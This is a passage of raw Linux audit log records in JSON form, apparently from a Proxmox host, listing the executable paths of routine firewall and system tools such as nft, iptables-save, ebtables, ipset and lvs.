name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PATH msg=audit(1781964760.546:62475): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PATH msg=audit(1781964760.546:62474): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760540,"@rawstring":"node=pve type=PATH msg=audit(1781964760.540:62473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760540,"@rawstring":"node=pve type=PATH msg=audit(1781964760.540:62473): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760540,"@rawstring":"node=pve type=PATH msg=audit(1781964760.540:62472): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760539,"@rawstring":"node=pve type=PATH msg=audit(1781964760.539:62471): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=PATH msg=audit(1781964759.915:62470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=PATH msg=audit(1781964759.915:62470): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=PATH msg=audit(1781964759.915:62469): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=PATH msg=audit(1781964759.915:62469): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759914,"@rawstring":"node=pve type=PATH msg=audit(1781964759.914:62468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759914,"@rawstring":"node=pve type=PATH msg=audit(1781964759.914:62468): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PATH msg=audit(1781964755.533:62467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PATH msg=audit(1781964755.533:62467): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PATH msg=audit(1781964755.533:62466): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PATH msg=audit(1781964755.533:62465): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PATH msg=audit(1781964755.524:62464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PATH msg=audit(1781964755.524:62464): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PATH msg=audit(1781964755.524:62463): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PATH msg=audit(1781964755.524:62462): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755321,"@rawstring":"node=pve type=PATH msg=audit(1781964755.321:62461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755321,"@rawstring":"node=pve type=PATH msg=audit(1781964755.321:62461): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755318,"@rawstring":"node=pve type=PATH msg=audit(1781964755.318:62460): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755318,"@rawstring":"node=pve type=PATH msg=audit(1781964755.318:62460): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=PATH msg=audit(1781964755.317:62459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=PATH msg=audit(1781964755.317:62459): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=PATH msg=audit(1781964755.317:62458): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755313,"@rawstring":"node=pve type=PATH msg=audit(1781964755.313:62457): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755313,"@rawstring":"node=pve type=PATH msg=audit(1781964755.313:62457): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755313,"@rawstring":"node=pve type=PATH msg=audit(1781964755.313:62457): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755307,"@rawstring":"node=pve type=PATH msg=audit(1781964755.307:62456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755307,"@rawstring":"node=pve type=PATH msg=audit(1781964755.307:62456): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755300,"@rawstring":"node=pve type=PATH msg=audit(1781964755.300:62455): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755300,"@rawstring":"node=pve type=PATH msg=audit(1781964755.300:62455): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755295,"@rawstring":"node=pve type=PATH msg=audit(1781964755.295:62454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755295,"@rawstring":"node=pve type=PATH msg=audit(1781964755.295:62454): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755287,"@rawstring":"node=pve type=PATH msg=audit(1781964755.287:62453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755287,"@rawstring":"node=pve type=PATH msg=audit(1781964755.287:62453): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755282,"@rawstring":"node=pve type=PATH msg=audit(1781964755.282:62451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755282,"@rawstring":"node=pve type=PATH msg=audit(1781964755.282:62451): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755277,"@rawstring":"node=pve type=PATH msg=audit(1781964755.277:62450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755277,"@rawstring":"node=pve type=PATH msg=audit(1781964755.277:62450): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755271,"@rawstring":"node=pve type=PATH msg=audit(1781964755.271:62449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755271,"@rawstring":"node=pve type=PATH msg=audit(1781964755.271:62449): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755267,"@rawstring":"node=pve type=PATH msg=audit(1781964755.267:62448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755267,"@rawstring":"node=pve type=PATH msg=audit(1781964755.267:62448): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755262,"@rawstring":"node=pve type=PATH msg=audit(1781964755.262:62447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755262,"@rawstring":"node=pve type=PATH msg=audit(1781964755.262:62447): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755258,"@rawstring":"node=pve type=PATH msg=audit(1781964755.258:62446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755258,"@rawstring":"node=pve type=PATH msg=audit(1781964755.258:62446): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755249,"@rawstring":"node=pve type=PATH msg=audit(1781964755.249:62445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755249,"@rawstring":"node=pve type=PATH msg=audit(1781964755.249:62445): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755245,"@rawstring":"node=pve type=PATH msg=audit(1781964755.245:62444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755245,"@rawstring":"node=pve type=PATH msg=audit(1781964755.245:62444): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755241,"@rawstring":"node=pve type=PATH msg=audit(1781964755.241:62443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755241,"@rawstring":"node=pve type=PATH msg=audit(1781964755.241:62443): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755238,"@rawstring":"node=pve type=PATH msg=audit(1781964755.238:62442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755238,"@rawstring":"node=pve type=PATH msg=audit(1781964755.238:62442): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=PATH msg=audit(1781964755.236:62441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=PATH msg=audit(1781964755.236:62441): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=PATH msg=audit(1781964755.236:62440): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755233,"@rawstring":"node=pve type=PATH msg=audit(1781964755.233:62439): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755233,"@rawstring":"node=pve type=PATH msg=audit(1781964755.233:62439): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755233,"@rawstring":"node=pve type=PATH msg=audit(1781964755.233:62439): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755227,"@rawstring":"node=pve type=PATH msg=audit(1781964755.227:62438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755227,"@rawstring":"node=pve type=PATH msg=audit(1781964755.227:62438): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755220,"@rawstring":"node=pve type=PATH msg=audit(1781964755.220:62437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755220,"@rawstring":"node=pve type=PATH msg=audit(1781964755.220:62437): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755216,"@rawstring":"node=pve type=PATH msg=audit(1781964755.216:62436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755216,"@rawstring":"node=pve type=PATH msg=audit(1781964755.216:62436): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755210,"@rawstring":"node=pve type=PATH msg=audit(1781964755.210:62435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755210,"@rawstring":"node=pve type=PATH msg=audit(1781964755.210:62435): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755203,"@rawstring":"node=pve type=PATH msg=audit(1781964755.203:62434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755203,"@rawstring":"node=pve type=PATH msg=audit(1781964755.203:62434): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754533,"@rawstring":"node=pve type=PATH msg=audit(1781964754.533:62433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754533,"@rawstring":"node=pve type=PATH msg=audit(1781964754.533:62433): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754490,"@rawstring":"node=pve type=PATH msg=audit(1781964754.490:62432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754490,"@rawstring":"node=pve type=PATH msg=audit(1781964754.490:62432): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PATH msg=audit(1781964750.517:62431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PATH msg=audit(1781964750.517:62431): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PATH msg=audit(1781964750.517:62430): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PATH msg=audit(1781964750.517:62429): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PATH msg=audit(1781964750.509:62428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PATH msg=audit(1781964750.509:62428): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PATH msg=audit(1781964750.509:62427): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PATH msg=audit(1781964750.509:62426): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PATH msg=audit(1781964745.501:62425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PATH msg=audit(1781964745.501:62425): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PATH msg=audit(1781964745.501:62424): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PATH msg=audit(1781964745.501:62423): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PATH msg=audit(1781964745.493:62422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PATH msg=audit(1781964745.493:62422): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PATH msg=audit(1781964745.493:62421): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PATH msg=audit(1781964745.493:62420): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745192,"@rawstring":"node=pve type=PATH msg=audit(1781964745.192:62419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745192,"@rawstring":"node=pve type=PATH msg=audit(1781964745.192:62419): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 